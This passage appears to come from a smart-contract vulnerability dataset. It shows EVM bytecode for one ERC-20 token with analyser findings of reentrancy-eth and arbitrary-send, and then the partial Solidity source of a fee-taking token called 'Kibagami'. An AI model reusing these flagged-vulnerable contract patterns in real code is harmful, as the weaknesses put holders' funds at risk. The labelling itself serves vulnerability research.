}
|
0x6080604052600436106101395760003560e01c80638c0b5e22116100ab578063c3c8cd801161006f578063c3c8cd8014610411578063c9567bf914610428578063d543dbeb1461043f578063dd62ed3e14610468578063e8078d94146104a5578063ec28438a146104bc57610140565b80638c0b5e221461032a5780638da5cb5b1461035557806395d89b4114610380578063a9059cbb146103ab578063acaf4a80146103e857610140565b8063313ce567116100fd578063313ce5671461024057806356c2c6be1461026b5780636fc3eaec14610294578063704fbfe5146102ab57806370a08231146102d6578063715018a61461031357610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad5780631b2773c2146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104e5565b6040516101679190612e5d565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061297b565b610522565b6040516101a49190612e42565b60405180910390f35b3480156101b957600080fd5b506101c2610540565b6040516101cf919061303f565b60405180910390f35b3480156101e457600080fd5b506101ed610551565b6040516101fa9190612e42565b60405180910390f35b34801561020f57600080fd5b5061022a6004803603810190610225919061292c565b610568565b6040516102379190612e42565b60405180910390f35b34801561024c57600080fd5b50610255610641565b60405161026291906130b4565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d91906129b7565b61064a565b005b3480156102a057600080fd5b506102a96106fc565b005b3480156102b757600080fd5b506102c061076e565b6040516102cd9190612e42565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f8919061289e565b610785565b60405161030a919061303f565b60405180910390f35b34801561031f57600080fd5b506103286107d6565b005b34801561033657600080fd5b5061033f610929565b60405161034c919061303f565b60405180910390f35b34801561036157600080fd5b5061036a610933565b6040516103779190612d74565b60405180910390f35b34801561038c57600080fd5b5061039561095c565b6040516103a29190612e5d565b60405180910390f35b3480156103b757600080fd5b506103d260048036038101906103cd919061297b565b610999565b6040516103df9190612e42565b60405180910390f35b3480156103f457600080fd5b5061040f600480360381019061040a91906129b7565b6109b7565b005b34801561041d57600080fd5b50610426610a69565b005b34801561043457600080fd5b5061043d610ae3565b005b34801561044b57600080fd5b5061046660048036038101906104619190612a09565b610b95565b005b34801561047457600080fd5b5061048f600480360381019061048a91906128f0565b610cde565b60405161049c919061303f565b60405180910390f35b3480156104b157600080fd5b506104ba610d65565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612a09565b6112a6565b005b60606040518060400160405280600d81526020017f5361726164612055636869746100000000000000000000000000000000000000815250905090565b600061053661052f6113c1565b84846113c9565b6001905092915050565b6000683635c9adc5dea00000905090565b6000601060179054906101000a900460ff16905090565b6000610575848484611594565b610636846105816113c1565b610631856040518060600160405280602881526020016136f660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e76113c1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f9092919063ffffffff16565b6113c9565b600190509392505050565b60006009905090565b6106526113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d690612f5f565b60405180910390fd5b80601060166101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073d6113c1565b73ffffffffffffffffffffffffffffffffffffffff161461075d57600080fd5b600047905061076b81611c93565b50565b6000601060169054906101000a900460ff16905090565b60006107cf600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e565b9050919050565b6107de6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086290612f5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000601154905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f2453554900000000000000000000000000000000000000000000000000000000815250905090565b60006109ad6109a66113c1565b8484611594565b6001905092915050565b6109bf6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390612f5f565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aaa6113c1565b73ffffffffffffffffffffffffffffffffffffffff1614610aca57600080fd5b6000610ad530610785565b9050610ae081611dfc565b50565b610aeb6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90612f5f565b60405180910390fd5b6001601060146101000a81548160ff021916908315150217905550565b610b9d6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2190612f5f565b60405180910390fd5b60008111610c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6490612eff565b60405180910390fd5b610c9c6064610c8e83683635c9adc5dea000006120f690919063ffffffff16565b61217190919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601154604051610cd3919061303f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d6d6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190612f5f565b60405180910390fd5b601060149054906101000a900460ff1615610e4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4190612fff565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eda30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113c9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5891906128c7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fba57600080fd5b505afa158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff291906128c7565b6040518363ffffffff1660e01b815260040161100f929190612d8f565b602060405180830381600087803b15801561102957600080fd5b505af115801561103d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106191906128c7565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ea30610785565b6000806110f5610933565b426040518863ffffffff1660e01b815260040161111796959493929190612de1565b6060604051808303818588803b15801561113057600080fd5b505af1158015611144573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111699190612a32565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550671bc16d674ec80000601181905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611250929190612db8565b602060405180830381600087803b15801561126a57600080fd5b505af115801561127e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a291906129e0565b5050565b6112ae6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461133b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133290612f5f565b60405180910390fd5b6000811161137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612eff565b60405180910390fd5b806011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516113b6919061303f565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611439576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143090612fbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a090612ebf565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611587919061303f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fb90612f9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611674576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166b90612e7f565b60405180910390fd5b600081116116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ae90612f7f565b60405180910390fd5b6116bf610933565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172d57506116fd610933565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6c57601154811115611777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176e90612fdf565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118225750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118785750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118905750601060169054906101000a900460ff165b156119b657601060149054906101000a900460ff166118e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118db9061301f565b60405180910390fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195c90612f1f565b60405180910390fd5b6014426119729190613124565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006119c130610785565b9050601060159054906101000a900460ff16158015611a2e5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a465750601060149054906101000a900460ff165b15611b6a576729a2241af62c0000821115611a6057600080fd5b601060179054906101000a900460ff1615611b475742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aed90612f1f565b60405180910390fd5b605a42611b039190613124565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611b5081611dfc565b60004790506000811115611b6857611b6747611c93565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c135750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1d57600090505b611c29848484846121bb565b50505050565b6000838311158290611c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6e9190612e5d565b60405180910390fd5b5060008385611c869190613205565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce360028461217190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d0e573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5f60028461217190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8a573d6000803e3d6000fd5b5050565b6000600754821115611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc90612e9f565b60405180910390fd5b6000611ddf6121e8565b9050611df4818461217190919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e885781602001602082028036833780820191505090505b5090503081600081518110611ec6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6857600080fd5b505afa158015611f7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa091906128c7565b81600181518110611fda577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204130600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113c9565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a595949392919061305a565b600060405180830381600087803b1580156120bf57600080fd5b505af11580156120d3573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b600080831415612109576000905061216b565b6000828461211791906131ab565b9050828482612126919061317a565b14612166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215d90612f3f565b60405180910390fd5b809150505b92915050565b60006121b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612213565b905092915050565b806121c9576121c8612276565b5b6121d48484846122b9565b806121e2576121e1612484565b5b50505050565b60008060006121f5612498565b9150915061220c818361217190919063ffffffff16565b9250505090565b6000808311829061225a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122519190612e5d565b60405180910390fd5b5060008385612269919061317a565b9050809150509392505050565b600060095414801561228a57506000600a54145b15612294576122b7565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b6000806000806000806122cb876124fa565b95509550955095509550955061232986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123be85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240a8161260a565b61241484836126c7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612471919061303f565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea0000090506124ce683635c9adc5dea0000060075461217190919063ffffffff16565b8210156124ed57600754683635c9adc5dea000009350935050506124f6565b81819350935050505b9091565b60008060008060008060008060006125178a600954600a54612701565b92509250925060006125276121e8565b9050600080600061253a8e878787612797565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c2f565b905092915050565b60008082846125bb9190613124565b905083811015612600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f790612edf565b60405180910390fd5b8091505092915050565b60006126146121e8565b9050600061262b82846120f690919063ffffffff16565b905061267f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126dc8260075461256290919063ffffffff16565b6007819055506126f7816008546125ac90919063ffffffff16565b6008819055505050565b60008060008061272d606461271f888a6120f690919063ffffffff16565b61217190919063ffffffff16565b905060006127576064612749888b6120f690919063ffffffff16565b61217190919063ffffffff16565b9050600061278082612772858c61256290919063ffffffff16565b61256290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b085896120f690919063ffffffff16565b905060006127c786896120f690919063ffffffff16565b905060006127de87896120f690919063ffffffff16565b90506000612807826127f9858761256290919063ffffffff16565b61256290919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061282f816136b0565b92915050565b600081519050612844816136b0565b92915050565b600081359050612859816136c7565b92915050565b60008151905061286e816136c7565b92915050565b600081359050612883816136de565b92915050565b600081519050612898816136de565b92915050565b6000602082840312156128b057600080fd5b60006128be84828501612820565b91505092915050565b6000602082840312156128d957600080fd5b60006128e784828501612835565b91505092915050565b6000806040838503121561290357600080fd5b600061291185828601612820565b925050602061292285828601612820565b9150509250929050565b60008060006060848603121561294157600080fd5b600061294f86828701612820565b935050602061296086828701612820565b925050604061297186828701612874565b9150509250925092565b6000806040838503121561298e57600080fd5b600061299c85828601612820565b92505060206129ad85828601612874565b9150509250929050565b6000602082840312156129c957600080fd5b60006129d78482850161284a565b91505092915050565b6000602082840312156129f257600080fd5b6000612a008482850161285f565b91505092915050565b600060208284031215612a1b57600080fd5b6000612a2984828501612874565b91505092915050565b600080600060608486031215612a4757600080fd5b6000612a5586828701612889565b9350506020612a6686828701612889565b9250506040612a7786828701612889565b9150509250925092565b6000612a8d8383612a99565b60208301905092915050565b612aa281613239565b82525050565b612ab181613239565b82525050565b6000612ac2826130df565b612acc8185613102565b9350612ad7836130cf565b8060005b83811015612b08578151612aef8882612a81565b9750612afa836130f5565b925050600181019050612adb565b5085935050505092915050565b612b1e8161324b565b82525050565b612b2d8161328e565b82525050565b6000612b3e826130ea565b612b488185613113565b9350612b588185602086016132a0565b612b6181613331565b840191505092915050565b6000612b79602383613113565b9150612b8482613342565b604082019050919050565b6000612b9c602a83613113565b9150612ba782613391565b604082019050919050565b6000612bbf602283613113565b9150612bca826133e0565b604082019050919050565b6000612be2601b83613113565b9150612bed8261342f565b602082019050919050565b6000612c05601d83613113565b9150612c1082613458565b602082019050919050565b6000612c28602a83613113565b9150612c3382613481565b604082019050919050565b6000612c4b602183613113565b9150612c56826134d0565b604082019050919050565b6000612c6e602083613113565b9150612c798261351f565b602082019050919050565b6000612c91602983613113565b9150612c9c82613548565b604082019050919050565b6000612cb4602583613113565b9150612cbf82613597565b604082019050919050565b6000612cd7602483613113565b9150612ce2826135e6565b604082019050919050565b6000612cfa601083613113565b9150612d0582613635565b602082019050919050565b6000612d1d601783613113565b9150612d288261365e565b602082019050919050565b6000612d40601883613113565b9150612d4b82613687565b602082019050919050565b612d5f81613277565b82525050565b612d6e81613281565b82525050565b6000602082019050612d896000830184612aa8565b92915050565b6000604082019050612da46000830185612aa8565b612db16020830184612aa8565b9392505050565b6000604082019050612dcd6000830185612aa8565b612dda6020830184612d56565b9392505050565b600060c082019050612df66000830189612aa8565b612e036020830188612d56565b612e106040830187612b24565b612e1d6060830186612b24565b612e2a6080830185612aa8565b612e3760a0830184612d56565b979650505050505050565b6000602082019050612e576000830184612b15565b92915050565b60006020820190508181036000830152612e778184612b33565b905092915050565b60006020820190508181036000830152612e9881612b6c565b9050919050565b60006020820190508181036000830152612eb881612b8f565b9050919050565b60006020820190508181036000830152612ed881612bb2565b9050919050565b60006020820190508181036000830152612ef881612bd5565b9050919050565b60006020820190508181036000830152612f1881612bf8565b9050919050565b60006020820190508181036000830152612f3881612c1b565b9050919050565b60006020820190508181036000830152612f5881612c3e565b9050919050565b60006020820190508181036000830152612f7881612c61565b9050919050565b60006020820190508181036000830152612f9881612c84565b9050919050565b60006020820190508181036000830152612fb881612ca7565b9050919050565b60006020820190508181036000830152612fd881612cca565b9050919050565b60006020820190508181036000830152612ff881612ced565b9050919050565b6000602082019050818103600083015261301881612d10565b9050919050565b6000602082019050818103600083015261303881612d33565b9050919050565b60006020820190506130546000830184612d56565b92915050565b600060a08201905061306f6000830188612d56565b61307c6020830187612b24565b818103604083015261308e8186612ab7565b905061309d6060830185612aa8565b6130aa6080830184612d56565b9695505050505050565b60006020820190506130c96000830184612d65565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061312f82613277565b915061313a83613277565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316f5761316e6132d3565b5b828201905092915050565b600061318582613277565b915061319083613277565b9250826131a05761319f613302565b5b828204905092915050565b60006131b682613277565b91506131c183613277565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fa576131f96132d3565b5b828202905092915050565b600061321082613277565b915061321b83613277565b92508282101561322e5761322d6132d3565b5b828203905092915050565b600061324482613257565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329982613277565b9050919050565b60005b838110156132be5780820151818401526020810190506132a3565b838111156132cd576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f596f7572207472616e73616374696f6e20636f6f6c646f776e20686173206e6f60008201527f7420657870697265642e00000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546f6f206d616e7920746f6b656e732e00000000000000000000000000000000600082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6136b981613239565b81146136c457600080fd5b50565b6136d08161324b565b81146136db57600080fd5b50565b6136e781613277565b81146136f257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bd081fd8618ccbd80b2c7b09c3142da9bab8d7223ea9cb00ca0741559f0f2feb64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,104 |
0x38282C10259C969f7c47abC5B43A949f6F61b097
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kibagami is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Kibagami";
string private constant _symbol = unicode"Kibagami";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 2;
uint256 private _feeRate = 3;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
uint private holdingCapPercent = 2;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
